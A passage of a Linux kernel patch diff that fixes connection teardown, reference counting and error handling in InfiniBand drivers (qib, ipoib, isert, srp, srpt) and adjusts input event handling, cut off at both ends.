-328,6 +325,7 @@ int qib_multicast_detach(struct ib_qp *ibqp, union ib_gid *gid, u16 lid) */ list_del_rcu(&p->list); mcast->n_attached--; + delp = p; /* If this was the last attached QP, remove the GID too. */ if (list_empty(&mcast->qp_list)) { @@ -338,15 +336,16 @@ int qib_multicast_detach(struct ib_qp *ibqp, union ib_gid *gid, u16 lid) } spin_unlock_irq(&ibp->lock); + /* QP not attached */ + if (!delp) + return -EINVAL; + /* + * Wait for any list walkers to finish before freeing the + * list element. + */ + wait_event(mcast->wait, atomic_read(&mcast->refcount) <= 1); + qib_mcast_qp_free(delp); - if (p) { - /* - * Wait for any list walkers to finish before freeing the - * list element. - */ - wait_event(mcast->wait, atomic_read(&mcast->refcount) <= 1); - qib_mcast_qp_free(p); - } if (last) { atomic_dec(&mcast->refcount); wait_event(mcast->wait, !atomic_read(&mcast->refcount)); @@ -355,11 +354,7 @@ int qib_multicast_detach(struct ib_qp *ibqp, union ib_gid *gid, u16 lid) dev->n_mcast_grps_allocated--; spin_unlock_irq(&dev->n_mcast_grps_lock); } - - ret = 0; - -bail: - return ret; + return 0; } int qib_mcast_tree_empty(struct qib_ibport *ibp) diff --git a/drivers/infiniband/ulp/ipoib/ipoib_main.c b/drivers/infiniband/ulp/ipoib/ipoib_main.c index b6e049a3c7a85..a481094af85f4 100644 --- a/drivers/infiniband/ulp/ipoib/ipoib_main.c +++ b/drivers/infiniband/ulp/ipoib/ipoib_main.c @@ -887,7 +887,9 @@ struct ipoib_neigh *ipoib_neigh_get(struct net_device *dev, u8 *daddr) neigh = NULL; goto out_unlock; } - neigh->alive = jiffies; + + if (likely(skb_queue_len(&neigh->queue) < IPOIB_MAX_PATH_REC_QUEUE)) + neigh->alive = jiffies; goto out_unlock; } } diff --git a/drivers/infiniband/ulp/isert/ib_isert.c b/drivers/infiniband/ulp/isert/ib_isert.c index 0e93152384f02..43aa807d78bd3 100644 --- a/drivers/infiniband/ulp/isert/ib_isert.c +++ b/drivers/infiniband/ulp/isert/ib_isert.c @@ -40,8 +40,17 @@ static DEFINE_MUTEX(device_list_mutex); static LIST_HEAD(device_list); static struct workqueue_struct *isert_rx_wq; static struct workqueue_struct *isert_comp_wq; +static struct workqueue_struct *isert_release_wq; static struct kmem_cache *isert_cmd_cache; +static int +isert_rdma_post_recvl(struct isert_conn *isert_conn); +static int +isert_rdma_accept(struct isert_conn *isert_conn); +struct rdma_cm_id *isert_setup_id(struct isert_np *isert_np); + +static void isert_release_work(struct work_struct *work); + static void isert_qp_event_callback(struct ib_event *e, void *context) { @@ -107,9 +116,12 @@ isert_conn_setup_qp(struct isert_conn *isert_conn, struct rdma_cm_id *cma_id) attr.cap.max_recv_wr = ISERT_QP_MAX_RECV_DTOS; /* * FIXME: Use devattr.max_sge - 2 for max_send_sge as - * work-around for RDMA_READ.. + * work-around for RDMA_READs with ConnectX-2. + * + * Also, still make sure to have at least two SGEs for + * outgoing control PDU responses. */ - attr.cap.max_send_sge = devattr.max_sge - 2; + attr.cap.max_send_sge = max(2, devattr.max_sge - 2); isert_conn->max_sge = attr.cap.max_send_sge; attr.cap.max_recv_sge = 1; @@ -124,12 +136,18 @@ isert_conn_setup_qp(struct isert_conn *isert_conn, struct rdma_cm_id *cma_id) ret = rdma_create_qp(cma_id, isert_conn->conn_pd, &attr); if (ret) { pr_err("rdma_create_qp failed for cma_id %d\n", ret); - return ret; + goto err; } isert_conn->conn_qp = cma_id->qp; pr_debug("rdma_create_qp() returned success >>>>>>>>>>>>>>>>>>>>>>>>>.\n"); return 0; +err: + mutex_lock(&device_list_mutex); + device->cq_active_qps[min_index]--; + mutex_unlock(&device_list_mutex); + + return ret; } static void @@ -186,7 +204,7 @@ isert_alloc_rx_descriptors(struct isert_conn *isert_conn) static void isert_free_rx_descriptors(struct isert_conn *isert_conn) { - struct ib_device *ib_dev = isert_conn->conn_cm_id->device; + struct ib_device *ib_dev = isert_conn->conn_device->ib_device; struct iser_rx_desc *rx_desc; int i; @@ -212,6 +230,13 @@ isert_create_device_ib_res(struct isert_device *device) struct ib_device *ib_dev = device->ib_device; struct isert_cq_desc *cq_desc; int ret = 0, i, j; + int max_rx_cqe, max_tx_cqe; + struct ib_device_attr dev_attr; + + memset(&dev_attr, 0, sizeof(struct ib_device_attr)); + ret = isert_query_device(device->ib_device, &dev_attr); + if (ret) + return ret; device->cqs_used = min_t(int, num_online_cpus(), device->ib_device->num_comp_vectors); @@ -234,6 +259,9 @@ isert_create_device_ib_res(struct isert_device *device) goto out_cq_desc; } + max_rx_cqe = min(ISER_MAX_RX_CQ_LEN, dev_attr.max_cqe); + max_tx_cqe = min(ISER_MAX_TX_CQ_LEN, dev_attr.max_cqe); + for (i = 0; i < device->cqs_used; i++) { cq_desc[i].device = device; cq_desc[i].cq_index = i; @@ -242,7 +270,7 @@ isert_create_device_ib_res(struct isert_device *device) isert_cq_rx_callback, isert_cq_event_callback, (void *)&cq_desc[i], - ISER_MAX_RX_CQ_LEN, i); + max_rx_cqe, i); if (IS_ERR(device->dev_rx_cq[i])) { ret = PTR_ERR(device->dev_rx_cq[i]); device->dev_rx_cq[i] = NULL; @@ -253,7 +281,7 @@ isert_create_device_ib_res(struct isert_device *device) isert_cq_tx_callback, isert_cq_event_callback, (void *)&cq_desc[i], - ISER_MAX_TX_CQ_LEN, i); + max_tx_cqe, i); if (IS_ERR(device->dev_tx_cq[i])) { ret = PTR_ERR(device->dev_tx_cq[i]); device->dev_tx_cq[i] = NULL; @@ -375,8 +403,8 @@ isert_device_find_by_ib_dev(struct rdma_cm_id *cma_id) static int isert_connect_request(struct rdma_cm_id *cma_id, struct rdma_cm_event *event) { - struct iscsi_np *np = cma_id->context; - struct isert_np *isert_np = np->np_context; + struct isert_np *isert_np = cma_id->context; + struct iscsi_np *np = isert_np->np; struct isert_conn *isert_conn; struct isert_device *device; struct ib_device *ib_dev = cma_id->device; @@ -401,13 +429,13 @@ isert_connect_request(struct rdma_cm_id *cma_id, struct rdma_cm_event *event) isert_conn->state = ISER_CONN_INIT; INIT_LIST_HEAD(&isert_conn->conn_accept_node); init_completion(&isert_conn->conn_login_comp); + init_completion(&isert_conn->login_req_comp); init_completion(&isert_conn->conn_wait); init_completion(&isert_conn->conn_wait_comp_err); kref_init(&isert_conn->conn_kref); - kref_get(&isert_conn->conn_kref); mutex_init(&isert_conn->conn_mutex); + INIT_WORK(&isert_conn->release_work, isert_release_work); - cma_id->context = isert_conn; isert_conn->conn_cm_id = cma_id; isert_conn->responder_resources = event->param.conn.responder_resources; isert_conn->initiator_depth = event->param.conn.initiator_depth; @@ -467,6 +495,14 @@ isert_connect_request(struct rdma_cm_id *cma_id, struct rdma_cm_event *event) if (ret) goto out_conn_dev; + ret = isert_rdma_post_recvl(isert_conn); + if (ret) + goto out_conn_dev; + + ret = isert_rdma_accept(isert_conn); + if (ret) + goto out_conn_dev; + mutex_lock(&isert_np->np_accept_mutex); list_add_tail(&isert_conn->conn_accept_node, &isert_np->np_accept_list); mutex_unlock(&isert_np->np_accept_mutex); @@ -487,30 +523,34 @@ isert_connect_request(struct rdma_cm_id *cma_id, struct rdma_cm_event *event) kfree(isert_conn->login_buf); out: kfree(isert_conn); + rdma_reject(cma_id, NULL, 0); return ret; } static void isert_connect_release(struct isert_conn *isert_conn) { - struct ib_device *ib_dev = isert_conn->conn_cm_id->device; struct isert_device *device = isert_conn->conn_device; int cq_index; + struct ib_device *ib_dev = device->ib_device; pr_debug("Entering isert_connect_release(): >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>\n"); + isert_free_rx_descriptors(isert_conn); + if (isert_conn->conn_cm_id) + rdma_destroy_id(isert_conn->conn_cm_id); + if (isert_conn->conn_qp) { cq_index = ((struct isert_cq_desc *) isert_conn->conn_qp->recv_cq->cq_context)->cq_index; pr_debug("isert_connect_release: cq_index: %d\n", cq_index); + mutex_lock(&device_list_mutex); isert_conn->conn_device->cq_active_qps[cq_index]--; + mutex_unlock(&device_list_mutex); - rdma_destroy_qp(isert_conn->conn_cm_id); + ib_destroy_qp(isert_conn->conn_qp); } - isert_free_rx_descriptors(isert_conn); - rdma_destroy_id(isert_conn->conn_cm_id); - if (isert_conn->login_buf) { ib_dma_unmap_single(ib_dev, isert_conn->login_rsp_dma, ISER_RX_LOGIN_SIZE, DMA_TO_DEVICE); @@ -530,7 +570,19 @@ isert_connect_release(struct isert_conn *isert_conn) static void isert_connected_handler(struct rdma_cm_id *cma_id) { - return; + struct isert_conn *isert_conn = cma_id->qp->qp_context; + + pr_info("conn %p\n", isert_conn); + + if (!kref_get_unless_zero(&isert_conn->conn_kref)) { + pr_warn("conn %p connect_release is running\n", isert_conn); + return; + } + + mutex_lock(&isert_conn->conn_mutex); + if (isert_conn->state != ISER_CONN_FULL_FEATURE) + isert_conn->state = ISER_CONN_UP; + mutex_unlock(&isert_conn->conn_mutex); } static void @@ -551,55 +603,125 @@ isert_put_conn(struct isert_conn *isert_conn) kref_put(&isert_conn->conn_kref, isert_release_conn_kref); } +/** + * isert_conn_terminate() - Initiate connection termination + * @isert_conn: isert connection struct + * + * Notes: + * In case the connection state is FULL_FEATURE, move state + * to TEMINATING and start teardown sequence (rdma_disconnect). + * In case the connection state is UP, complete flush as well. + * + * This routine must be called with conn_mutex held. Thus it is + * safe to call multiple times. + */ static void -isert_disconnect_work(struct work_struct *work) +isert_conn_terminate(struct isert_conn *isert_conn) { - struct isert_conn *isert_conn = container_of(work, - struct isert_conn, conn_logout_work); + int err; - pr_debug("isert_disconnect_work(): >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>\n"); - mutex_lock(&isert_conn->conn_mutex); - if (isert_conn->state == ISER_CONN_UP) + switch (isert_conn->state) { + case ISER_CONN_TERMINATING: + break; + case ISER_CONN_UP: + /* + * No flush completions will occur as we didn't + * get to ISER_CONN_FULL_FEATURE yet, complete + * to allow teardown progress. + */ + complete(&isert_conn->conn_wait_comp_err); + case ISER_CONN_FULL_FEATURE: /* FALLTHRU */ + pr_info("Terminating conn %p state %d\n", + isert_conn, isert_conn->state); isert_conn->state = ISER_CONN_TERMINATING; - - if (isert_conn->post_recv_buf_count == 0 && - atomic_read(&isert_conn->post_send_buf_count) == 0) { - mutex_unlock(&isert_conn->conn_mutex); - goto wake_up; - } - if (!isert_conn->conn_cm_id) { - mutex_unlock(&isert_conn->conn_mutex); - isert_put_conn(isert_conn); - return; + err = rdma_disconnect(isert_conn->conn_cm_id); + if (err) + pr_warn("Failed rdma_disconnect isert_conn %p\n", + isert_conn); + break; + default: + pr_warn("conn %p teminating in state %d\n", + isert_conn, isert_conn->state); } +} - if (isert_conn->disconnect) { - /* Send DREQ/DREP towards our initiator */ - rdma_disconnect(isert_conn->conn_cm_id); +static int +isert_np_cma_handler(struct isert_np *isert_np, + enum rdma_cm_event_type event) +{ + pr_debug("isert np %p, handling event %d\n", isert_np, event); + + switch (event) { + case RDMA_CM_EVENT_DEVICE_REMOVAL: + isert_np->np_cm_id = NULL; + break; + case RDMA_CM_EVENT_ADDR_CHANGE: + isert_np->np_cm_id = isert_setup_id(isert_np); + if (IS_ERR(isert_np->np_cm_id)) { + pr_err("isert np %p setup id failed: %ld\n", + isert_np, PTR_ERR(isert_np->np_cm_id)); + isert_np->np_cm_id = NULL; + } + break; + default: + pr_err("isert np %p Unexpected event %d\n", + isert_np, event); } + return -1; +} + +static int +isert_disconnected_handler(struct rdma_cm_id *cma_id, + enum rdma_cm_event_type event) +{ + struct isert_np *isert_np = cma_id->context; + struct isert_conn *isert_conn; + bool terminating = false; + + if (isert_np->np_cm_id == cma_id) + return isert_np_cma_handler(cma_id->context, event); + + isert_conn = cma_id->qp->qp_context; + + mutex_lock(&isert_conn->conn_mutex); + terminating = (isert_conn->state == ISER_CONN_TERMINATING); + isert_conn_terminate(isert_conn); mutex_unlock(&isert_conn->conn_mutex); -wake_up: + pr_info("conn %p completing conn_wait\n", isert_conn); complete(&isert_conn->conn_wait); - isert_put_conn(isert_conn); + + if (terminating) + goto out; + + mutex_lock(&isert_np->np_accept_mutex); + if (!list_empty(&isert_conn->conn_accept_node)) { + list_del_init(&isert_conn->conn_accept_node); + isert_put_conn(isert_conn); + queue_work(isert_release_wq, &isert_conn->release_work); + } + mutex_unlock(&isert_np->np_accept_mutex); + +out: + return 0; } -static void -isert_disconnected_handler(struct rdma_cm_id *cma_id, bool disconnect) +static int +isert_connect_error(struct rdma_cm_id *cma_id) { - struct isert_conn *isert_conn = (struct isert_conn *)cma_id->context; + struct isert_conn *isert_conn = cma_id->qp->qp_context; - isert_conn->disconnect = disconnect; - INIT_WORK(&isert_conn->conn_logout_work, isert_disconnect_work); - schedule_work(&isert_conn->conn_logout_work); + isert_conn->conn_cm_id = NULL; + isert_put_conn(isert_conn); + + return -1; } static int isert_cma_handler(struct rdma_cm_id *cma_id, struct rdma_cm_event *event) { int ret = 0; - bool disconnect = false; pr_debug("isert_cma_handler: event %d status %d conn %p id %p\n", event->event, event->status, cma_id->context, cma_id); @@ -607,6 +729,9 @@ isert_cma_handler(struct rdma_cm_id *cma_id, struct rdma_cm_event *event) switch (event->event) { case RDMA_CM_EVENT_CONNECT_REQUEST: ret = isert_connect_request(cma_id, event); + if (ret) + pr_err("isert_cma_handler failed RDMA_CM_EVENT: 0x%08x %d\n", + event->event, ret); break; case RDMA_CM_EVENT_ESTABLISHED: isert_connected_handler(cma_id); @@ -614,22 +739,19 @@ isert_cma_handler(struct rdma_cm_id *cma_id, struct rdma_cm_event *event) case RDMA_CM_EVENT_ADDR_CHANGE: /* FALLTHRU */ case RDMA_CM_EVENT_DISCONNECTED: /* FALLTHRU */ case RDMA_CM_EVENT_DEVICE_REMOVAL: /* FALLTHRU */ - disconnect = true; case RDMA_CM_EVENT_TIMEWAIT_EXIT: /* FALLTHRU */ - isert_disconnected_handler(cma_id, disconnect); + ret = isert_disconnected_handler(cma_id, event->event); break; + case RDMA_CM_EVENT_REJECTED: /* FALLTHRU */ + case RDMA_CM_EVENT_UNREACHABLE: /* FALLTHRU */ case RDMA_CM_EVENT_CONNECT_ERROR: + ret = isert_connect_error(cma_id); + break; default: pr_err("Unhandled RDMA CMA event: %d\n", event->event); break; } - if (ret != 0) { - pr_err("isert_cma_handler failed RDMA_CM_EVENT: 0x%08x %d\n", - event->event, ret); - dump_stack(); - } - return ret; } @@ -826,7 +948,10 @@ isert_put_login_tx(struct iscsi_conn *conn, struct iscsi_login *login, if (ret) return ret; - isert_conn->state = ISER_CONN_UP; + /* Now we are in FULL_FEATURE phase */ + mutex_lock(&isert_conn->conn_mutex); + isert_conn->state = ISER_CONN_FULL_FEATURE; + mutex_unlock(&isert_conn->conn_mutex); goto post_send; } @@ -843,18 +968,17 @@ isert_put_login_tx(struct iscsi_conn *conn, struct iscsi_login *login, } static void -isert_rx_login_req(struct iser_rx_desc *rx_desc, int rx_buflen, - struct isert_conn *isert_conn) +isert_rx_login_req(struct isert_conn *isert_conn) { + struct iser_rx_desc *rx_desc = (void *)isert_conn->login_req_buf; + int rx_buflen = isert_conn->login_req_len; struct iscsi_conn *conn = isert_conn->conn; struct iscsi_login *login = conn->conn_login; int size; - if (!login) { - pr_err("conn->conn_login is NULL\n"); - dump_stack(); - return; - } + pr_info("conn %p\n", isert_conn); + + WARN_ON_ONCE(!login); if (login->first_request) { struct iscsi_login_req *login_req = @@ -884,7 +1008,8 @@ isert_rx_login_req(struct iser_rx_desc *rx_desc, int rx_buflen, size, rx_buflen, MAX_KEY_VALUE_PAIRS); memcpy(login->req_buf, &rx_desc->data[0], size); - complete(&isert_conn->conn_login_comp); + if (login->first_request) + complete(&isert_conn->conn_login_comp); } static void @@ -1161,11 +1286,20 @@ isert_rx_completion(struct iser_rx_desc *desc, struct isert_conn *isert_conn, hdr->opcode, hdr->itt, hdr->flags, (int)(xfer_len - ISER_HEADERS_LEN)); - if ((char *)desc == isert_conn->login_req_buf) - isert_rx_login_req(desc, xfer_len - ISER_HEADERS_LEN, - isert_conn); - else + if ((char *)desc == isert_conn->login_req_buf) { + isert_conn->login_req_len = xfer_len - ISER_HEADERS_LEN; + if (isert_conn->conn) { + struct iscsi_login *login = isert_conn->conn->conn_login; + + if (login && !login->first_request) + isert_rx_login_req(isert_conn); + } + mutex_lock(&isert_conn->conn_mutex); + complete(&isert_conn->login_req_comp); + mutex_unlock(&isert_conn->conn_mutex); + } else { isert_rx_do_work(desc, isert_conn); + } ib_dma_sync_single_for_device(ib_dev, rx_dma, rx_buflen, DMA_FROM_DEVICE); @@ -1475,7 +1609,7 @@ isert_cq_rx_comp_err(struct isert_conn *isert_conn) msleep(3000); mutex_lock(&isert_conn->conn_mutex); - isert_conn->state = ISER_CONN_DOWN; + isert_conn_terminate(isert_conn); mutex_unlock(&isert_conn->conn_mutex); iscsit_cause_connection_reinstatement(isert_conn->conn, 0); @@ -2036,13 +2170,51 @@ isert_response_queue(struct iscsi_conn *conn, struct iscsi_cmd *cmd, int state) return ret; } +struct rdma_cm_id * +isert_setup_id(struct isert_np *isert_np) +{ + struct iscsi_np *np = isert_np->np; + struct rdma_cm_id *id; + struct sockaddr *sa; + int ret; + + sa = (struct sockaddr *)&np->np_sockaddr; + pr_debug("ksockaddr: %p, sa: %p\n", &np->np_sockaddr, sa); + + id = rdma_create_id(isert_cma_handler, isert_np, + RDMA_PS_TCP, IB_QPT_RC); + if (IS_ERR(id)) { + pr_err("rdma_create_id() failed: %ld\n", PTR_ERR(id)); + ret = PTR_ERR(id); + goto out; + } + pr_debug("id %p context %p\n", id, id->context); + + ret = rdma_bind_addr(id, sa); + if (ret) { + pr_err("rdma_bind_addr() failed: %d\n", ret); + goto out_id; + } + + ret = rdma_listen(id, ISERT_RDMA_LISTEN_BACKLOG); + if (ret) { + pr_err("rdma_listen() failed: %d\n", ret); + goto out_id; + } + + return id; +out_id: + rdma_destroy_id(id); +out: + return ERR_PTR(ret); +} + static int isert_setup_np(struct iscsi_np *np, struct __kernel_sockaddr_storage *ksockaddr) { struct isert_np *isert_np; struct rdma_cm_id *isert_lid; - struct sockaddr *sa; int ret; isert_np = kzalloc(sizeof(struct isert_np), GFP_KERNEL); @@ -2054,9 +2226,8 @@ isert_setup_np(struct iscsi_np *np, mutex_init(&isert_np->np_accept_mutex); INIT_LIST_HEAD(&isert_np->np_accept_list); init_completion(&isert_np->np_login_comp); + isert_np->np = np; - sa = (struct sockaddr *)ksockaddr; - pr_debug("ksockaddr: %p, sa: %p\n", ksockaddr, sa); /* * Setup the np->np_sockaddr from the passed sockaddr setup * in iscsi_target_configfs.c code.. @@ -2064,37 +2235,20 @@ isert_setup_np(struct iscsi_np *np, memcpy(&np->np_sockaddr, ksockaddr, sizeof(struct __kernel_sockaddr_storage)); - isert_lid = rdma_create_id(isert_cma_handler, np, RDMA_PS_TCP, - IB_QPT_RC); + isert_lid = isert_setup_id(isert_np); if (IS_ERR(isert_lid)) { - pr_err("rdma_create_id() for isert_listen_handler failed: %ld\n", - PTR_ERR(isert_lid)); ret = PTR_ERR(isert_lid); goto out; } - ret = rdma_bind_addr(isert_lid, sa); - if (ret) { - pr_err("rdma_bind_addr() for isert_lid failed: %d\n", ret); - goto out_lid; - } - - ret = rdma_listen(isert_lid, ISERT_RDMA_LISTEN_BACKLOG); - if (ret) { - pr_err("rdma_listen() for isert_lid failed: %d\n", ret); - goto out_lid; - } - isert_np->np_cm_id = isert_lid; np->np_context = isert_np; - pr_debug("Setup isert_lid->context: %p\n", isert_lid->context); return 0; -out_lid: - rdma_destroy_id(isert_lid); out: kfree(isert_np); + return ret; } @@ -2130,13 +2284,27 @@ isert_get_login_rx(struct iscsi_conn *conn, struct iscsi_login *login) struct isert_conn *isert_conn = (struct isert_conn *)conn->context; int ret; - pr_debug("isert_get_login_rx before conn_login_comp conn: %p\n", conn); + pr_info("before login_req comp conn: %p\n", isert_conn); + ret = wait_for_completion_interruptible(&isert_conn->login_req_comp); + if (ret) { + pr_err("isert_conn %p interrupted before got login req\n", + isert_conn); + return ret; + } + isert_conn->login_req_comp.done = 0; + + if (!login->first_request) + return 0; + + isert_rx_login_req(isert_conn); + + pr_info("before conn_login_comp conn: %p\n", conn); ret = wait_for_completion_interruptible(&isert_conn->conn_login_comp); if (ret) return ret; - pr_debug("isert_get_login_rx processing login->req: %p\n", login->req); + pr_info("processing login->req: %p\n", login->req); return 0; } @@ -2214,17 +2382,10 @@ isert_accept_np(struct iscsi_np *np, struct iscsi_conn *conn) isert_conn->conn = conn; max_accept = 0; - ret = isert_rdma_post_recvl(isert_conn); - if (ret) - return ret; - - ret = isert_rdma_accept(isert_conn); - if (ret) - return ret; - isert_set_conn_info(np, conn, isert_conn); - pr_debug("Processing isert_accept_np: isert_conn: %p\n", isert_conn); + pr_debug("Processing isert_conn: %p\n", isert_conn); + return 0; } @@ -2233,12 +2394,31 @@ isert_free_np(struct iscsi_np *np) { struct isert_np *isert_np = (struct isert_np *)np->np_context; - rdma_destroy_id(isert_np->np_cm_id); + if (isert_np->np_cm_id) + rdma_destroy_id(isert_np->np_cm_id); np->np_context = NULL; kfree(isert_np); } +static void isert_release_work(struct work_struct *work) +{ + struct isert_conn *isert_conn = container_of(work, + struct isert_conn, + release_work); + + pr_info("Starting release conn %p\n", isert_conn); + + wait_for_completion(&isert_conn->conn_wait); + + mutex_lock(&isert_conn->conn_mutex); + isert_conn->state = ISER_CONN_DOWN; + mutex_unlock(&isert_conn->conn_mutex); + + pr_info("Destroying conn %p\n", isert_conn); + isert_put_conn(isert_conn); +} + static void isert_wait_conn(struct iscsi_conn *conn) { struct isert_conn *isert_conn = conn->context; @@ -2246,10 +2426,6 @@ static void isert_wait_conn(struct iscsi_conn *conn) pr_debug("isert_wait_conn: Starting \n"); mutex_lock(&isert_conn->conn_mutex); - if (isert_conn->conn_cm_id) { - pr_debug("Calling rdma_disconnect from isert_wait_conn\n"); - rdma_disconnect(isert_conn->conn_cm_id); - } /* * Only wait for conn_wait_comp_err if the isert_conn made it * into full feature phase.. @@ -2258,13 +2434,12 @@ static void isert_wait_conn(struct iscsi_conn *conn) mutex_unlock(&isert_conn->conn_mutex); return; } - if (isert_conn->state == ISER_CONN_UP) - isert_conn->state = ISER_CONN_TERMINATING; + isert_conn_terminate(isert_conn); mutex_unlock(&isert_conn->conn_mutex); wait_for_completion(&isert_conn->conn_wait_comp_err); - wait_for_completion(&isert_conn->conn_wait); + queue_work(isert_release_wq, &isert_conn->release_work); } static void isert_free_conn(struct iscsi_conn *conn) @@ -2310,20 +2485,30 @@ static int __init isert_init(void) goto destroy_rx_wq; } + isert_release_wq = alloc_workqueue("isert_release_wq", WQ_UNBOUND, + WQ_UNBOUND_MAX_ACTIVE); + if (!isert_release_wq) { + pr_err("Unable to allocate isert_release_wq\n"); + ret = -ENOMEM; + goto destroy_comp_wq; + } + isert_cmd_cache = kmem_cache_create("isert_cmd_cache", sizeof(struct isert_cmd), __alignof__(struct isert_cmd), 0, NULL); if (!isert_cmd_cache) { pr_err("Unable to create isert_cmd_cache\n"); ret = -ENOMEM; - goto destroy_tx_cq; + goto destroy_release_wq; } iscsit_register_transport(&iser_target_transport); - pr_debug("iSER_TARGET[0] - Loaded iser_target_transport\n"); + pr_info("iSER_TARGET[0] - Loaded iser_target_transport\n"); return 0; -destroy_tx_cq: +destroy_release_wq: + destroy_workqueue(isert_release_wq); +destroy_comp_wq: destroy_workqueue(isert_comp_wq); destroy_rx_wq: destroy_workqueue(isert_rx_wq); @@ -2334,6 +2519,7 @@ static void __exit isert_exit(void) { flush_scheduled_work(); kmem_cache_destroy(isert_cmd_cache); + destroy_workqueue(isert_release_wq); destroy_workqueue(isert_comp_wq); destroy_workqueue(isert_rx_wq); iscsit_unregister_transport(&iser_target_transport); diff --git a/drivers/infiniband/ulp/isert/ib_isert.h b/drivers/infiniband/ulp/isert/ib_isert.h index 032f65abee369..b233ee5e46b0a 100644 --- a/drivers/infiniband/ulp/isert/ib_isert.h +++ b/drivers/infiniband/ulp/isert/ib_isert.h @@ -21,6 +21,7 @@ enum iser_ib_op_code { enum iser_conn_state { ISER_CONN_INIT, ISER_CONN_UP, + ISER_CONN_FULL_FEATURE, ISER_CONN_TERMINATING, ISER_CONN_DOWN, }; @@ -87,6 +88,7 @@ struct isert_conn { char *login_req_buf; char *login_rsp_buf; u64 login_req_dma; + int login_req_len; u64 login_rsp_dma; unsigned int conn_rx_desc_head; struct iser_rx_desc *conn_rx_descs; @@ -94,18 +96,18 @@ struct isert_conn { struct iscsi_conn *conn; struct list_head conn_accept_node; struct completion conn_login_comp; + struct completion login_req_comp; struct iser_tx_desc conn_login_tx_desc; struct rdma_cm_id *conn_cm_id; struct ib_pd *conn_pd; struct ib_mr *conn_mr; struct ib_qp *conn_qp; struct isert_device *conn_device; - struct work_struct conn_logout_work; struct mutex conn_mutex; struct completion conn_wait; struct completion conn_wait_comp_err; struct kref conn_kref; - bool disconnect; + struct work_struct release_work; }; #define ISERT_MAX_CQ 64 @@ -131,6 +133,7 @@ struct isert_device { }; struct isert_np { + struct iscsi_np *np; struct semaphore np_sem; struct rdma_cm_id *np_cm_id; struct mutex np_accept_mutex; diff --git a/drivers/infiniband/ulp/srp/ib_srp.c b/drivers/infiniband/ulp/srp/ib_srp.c index 1954daac0b593..35dd5ff662f1e 100644 --- a/drivers/infiniband/ulp/srp/ib_srp.c +++ b/drivers/infiniband/ulp/srp/ib_srp.c @@ -93,6 +93,7 @@ static void srp_send_completion(struct ib_cq *cq, void *target_ptr); static int srp_cm_handler(struct ib_cm_id *cm_id, struct ib_cm_event *event); static struct scsi_transport_template *ib_srp_transport_template; +static struct workqueue_struct *srp_remove_wq; static struct ib_client srp_client = { .name = "srp", @@ -456,7 +457,7 @@ static bool srp_queue_remove_work(struct srp_target_port *target) spin_unlock_irq(&target->lock); if (changed) - queue_work(system_long_wq, &target->remove_work); + queue_work(srp_remove_wq, &target->remove_work); return changed; } @@ -2530,9 +2531,10 @@ static void srp_remove_one(struct ib_device *device) spin_unlock(&host->target_lock); /* - * Wait for target port removal tasks. + * Wait for tl_err and target port removal tasks. */ flush_workqueue(system_long_wq); + flush_workqueue(srp_remove_wq); kfree(host); } @@ -2577,16 +2579,22 @@ static int __init srp_init_module(void) indirect_sg_entries = cmd_sg_entries; } + srp_remove_wq = create_workqueue("srp_remove"); + if (IS_ERR(srp_remove_wq)) { + ret = PTR_ERR(srp_remove_wq); + goto out; + } + + ret = -ENOMEM; ib_srp_transport_template = srp_attach_transport(&ib_srp_transport_functions); if (!ib_srp_transport_template) - return -ENOMEM; + goto destroy_wq; ret = class_register(&srp_class); if (ret) { pr_err("couldn't register class infiniband_srp\n"); - srp_release_transport(ib_srp_transport_template); - return ret; + goto release_tr; } ib_sa_register_client(&srp_sa_client); @@ -2594,13 +2602,22 @@ static int __init srp_init_module(void) ret = ib_register_client(&srp_client); if (ret) { pr_err("couldn't register IB client\n"); - srp_release_transport(ib_srp_transport_template); - ib_sa_unregister_client(&srp_sa_client); - class_unregister(&srp_class); - return ret; + goto unreg_sa; } - return 0; +out: + return ret; + +unreg_sa: + ib_sa_unregister_client(&srp_sa_client); + class_unregister(&srp_class); + +release_tr: + srp_release_transport(ib_srp_transport_template); + +destroy_wq: + destroy_workqueue(srp_remove_wq); + goto out; } static void __exit srp_cleanup_module(void) @@ -2609,6 +2626,7 @@ static void __exit srp_cleanup_module(void) ib_sa_unregister_client(&srp_sa_client); class_unregister(&srp_class); srp_release_transport(ib_srp_transport_template); + destroy_workqueue(srp_remove_wq); } module_init(srp_init_module); diff --git a/drivers/infiniband/ulp/srpt/ib_srpt.c b/drivers/infiniband/ulp/srpt/ib_srpt.c index 64953dfa9d8a5..fcf9f87bcfd9b 100644 --- a/drivers/infiniband/ulp/srpt/ib_srpt.c +++ b/drivers/infiniband/ulp/srpt/ib_srpt.c @@ -2101,6 +2101,7 @@ static int srpt_create_ch_ib(struct srpt_rdma_ch *ch) if (!qp_init) goto out; +retry: ch->cq = ib_create_cq(sdev->device, srpt_completion, NULL, ch, ch->rq_size + srp_sq_size, 0); if (IS_ERR(ch->cq)) { @@ -2124,6 +2125,13 @@ static int srpt_create_ch_ib(struct srpt_rdma_ch *ch) ch->qp = ib_create_qp(sdev->pd, qp_init); if (IS_ERR(ch->qp)) { ret = PTR_ERR(ch->qp); + if (ret == -ENOMEM) { + srp_sq_size /= 2; + if (srp_sq_size >= MIN_SRPT_SQ_SIZE) { + ib_destroy_cq(ch->cq); + goto retry; + } + } printk(KERN_ERR "failed to create_qp ret= %d\n", ret); goto err_destroy_cq; } diff --git a/drivers/input/input.c b/drivers/input/input.c index b2e0da03915ca..73177835a4f54 100644 --- a/drivers/input/input.c +++ b/drivers/input/input.c @@ -257,9 +257,10 @@ static int input_handle_abs_event(struct input_dev *dev, } static int input_get_disposition(struct input_dev *dev, - unsigned int type, unsigned int code, int value) + unsigned int type, unsigned int code, int *pval) { int disposition = INPUT_IGNORE_EVENT; + int value = *pval; switch (type) { @@ -359,6 +360,7 @@ static int input_get_disposition(struct input_dev *dev, break; } + *pval = value; return disposition; } @@ -367,7 +369,7 @@ static void input_handle_event(struct input_dev *dev, { int disposition; - disposition = input_get_disposition(dev, type, code, value); + disposition = input_get_disposition(dev, type, code, &value); if ((disposition & INPUT_PASS_TO_DEVICE) && dev->event) dev->event(dev, type, code, value); diff --git a/drivers/input/joystick/xpad.c b/drivers/input/joystick/xpad.c index 75e3b102ce450..685e125d63660 100644 --- a/drivers/input/joystick/xpad.c +++ b/drivers/input/joystick/xpad.c @@ -843,6 +843,9 @@ static int xpad_probe(struct usb_interface *intf, const struct usb_device_id *id struct usb_endpoint_descriptor *ep_irq_in; int i, error; + if 